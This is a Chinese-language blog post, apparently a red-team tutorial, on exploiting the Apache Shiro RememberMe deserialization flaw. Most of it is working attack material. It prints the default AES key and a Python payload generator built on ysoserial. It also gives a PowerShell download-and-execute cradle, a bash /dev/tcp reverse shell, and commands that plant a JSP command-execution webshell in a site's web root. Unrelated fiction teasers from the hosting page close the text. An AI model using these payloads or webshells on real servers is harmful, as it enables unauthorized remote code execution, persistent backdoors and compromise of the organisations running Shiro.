shiro反序列化漏洞利用

前言

Apache Shiro 是企业常见的Java安全框架,执行身份验证、授权、密码和会话管理。2016年,曝光出1.2.4以前的版本存在反序列化漏洞。该漏洞已经曝光几年,但是在实战中仍然比较实用,每年的护网都能起到不小的作用。

漏洞原理

Apache Shiro框架提供了记住我的功能(RememberMe),用户登陆成功后会生成经过加密并编码的cookie。cookie的key为RememberMe,cookie的值是经过对相关信息进行序列化,然后使用aes加密,最后在使用base64编码处理形成的。
在服务端接收cookie值时,按照如下步骤来解析处理:
1、检索RememberMe cookie 的值
2、Base 64解码
3、使用AES解密(加密密钥硬编码)
4、进行反序列化操作(未作过滤处理)
在调用反序列化时未进行任何过滤,导致可以触发远程代码执行漏洞。

利用条件

由于使用了aes加密,要想成功利用漏洞则需要获取aes的加密密钥,而在shiro的1.2.4之前版本中使用的是硬编码。其默认密钥的base64编码后的值为kPH+bIxk5D2deZiIxcaaaA==,这里就可以通过构造恶意的序列化对象进行编码,加密,然后作为cookie加密发送,服务端接收后会解密并触发反序列化漏洞。
尽管目前已经更新了许多版本,官方并没有反序列化漏洞本身解决,而是通过去掉硬编码的密钥,使其每次生成一个密钥来解决该漏洞。但是,目前一些开源系统、教程范例代码都使用来固定的编码,这里我们可以通过搜索引擎、github等来收集密钥,提高漏洞检测与利用的成功率。

漏洞指纹

返回包中存在set-Cookie: rememberMe=deleteMe
或者URL中有shiro字样
有时候服务器不会主动返回 rememberMe=deleteMe, 直接发包即可

环境搭建

win7、Tomcat 8.5.0、shiro 1.2.4、jdk 1.8
直接部署大佬编译好的war包到tomcat目录下
https://cloud.tencent.com/developer/article/1472310



返回包中存在rememberMe=deleteMe

漏洞利用

下载ysoserial.jar
https://github.com/insightglacier/Shiro_exploit

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections4 "ping itvpzu.dnslog.cn"

运行python脚本,这里使用的是默认key,

python shiro_exp_payload.py 172.16.100.207:1099
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES


def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext


if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
print "rememberMe={0}".format(payload.decode())

成功生成RememberMe,添加复制到cookie中,进行反序列化。





dns平台成功接收到请求。



windows系统可以通过powershell直接cs上线
powershell.exe IEX ((new-object net.webclient).downloadstring('http://x.x.x.x:8011/a'))

linux可以使用bash反弹shell

bash -i >& /dev/tcp/x.x.x.x/10000 0>&1

小结:
1、在平时遇到目标使用了shiro时,发现漏洞无法利用,可能对方未使用默认key,可以查看目标是否泄漏了key,或者使用网上常用的key进行尝试。
Shiro 100 Key
2、安利下斯文beast大佬写的工具,对CommonsCollections1-CommonsCollections10模块都进行了检测,还内置了常见的key。
https://github.com/sv3nbeast/ShiroScan

目标不出网

当使用shiro反序列化漏洞对目标进行攻击时,经常存在目标无法访问互联网,导致无法反弹shell的问题。

写文件

寻找目标网站上存在的文件,尽可能保证其唯一性。
通过执行命令,搜索文件,定位到网站目录,写入webshell。
linux

#把执行命令的返回输出到1.txt中,通过网站目录访问。
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo `whoami` > 1.txt
#写入jsp木马到网站目录
cd $(find -name "test.html" -type f -exec dirname {} \; | sed 1q) && echo 'jsp木马' > 1.jsp

windows powershell

echo $file = Get-ChildItem -Path . -Filter 20200629.jpg -recurse -ErrorAction SilentlyContinue;$f = -Join($file.DirectoryName,"/a.jsp");echo "<%if(""023"".equals(request.getParameter(""pwd""))){java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter(""i"")).getInputStream();int a = -1;byte[] b = new byte[2048];out.print(""<pre>"");while((a=in.read(b))!=-1){out.println(new String(b));}out.print(""</pre>"");}%>" ^|Out-File $f >c:\123.ps1 &&cd c:\ &&powershell.exe c:\123.ps1

中间件回显

不少大佬已经研究过针对java反序列化的命令回显方法,发现了一些利用链,但大都有一定的限制条件且对shiro兼容性差。
tomcat不出网回显连续剧第六集
Tomcat通用回显学习
可以参考李三师傅和lucifaer的解决方法。

总结

近期总结了不少关于java反序列化漏洞利用方法,因为不懂java,导致很多地方理解不了,无法进行深入拓展,后续会对java进行系统学习,理解漏洞原理,做到举一反三。

参考资料

https://y4er.com/post/java-deserialization-echo/#%E5%86%99%E6%96%87%E4%BB%B6
https://paper.seebug.org/1181/
https://lucifaer.com/2020/05/12/Tomcat%E9%80%9A%E7%94%A8%E5%9B%9E%E6%98%BE%E5%AD%A6%E4%B9%A0/
https://zhuanlan.zhihu.com/p/115257685
https://cloud.tencent.com/developer/article/1472310
https://xz.aliyun.com/t/7535

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270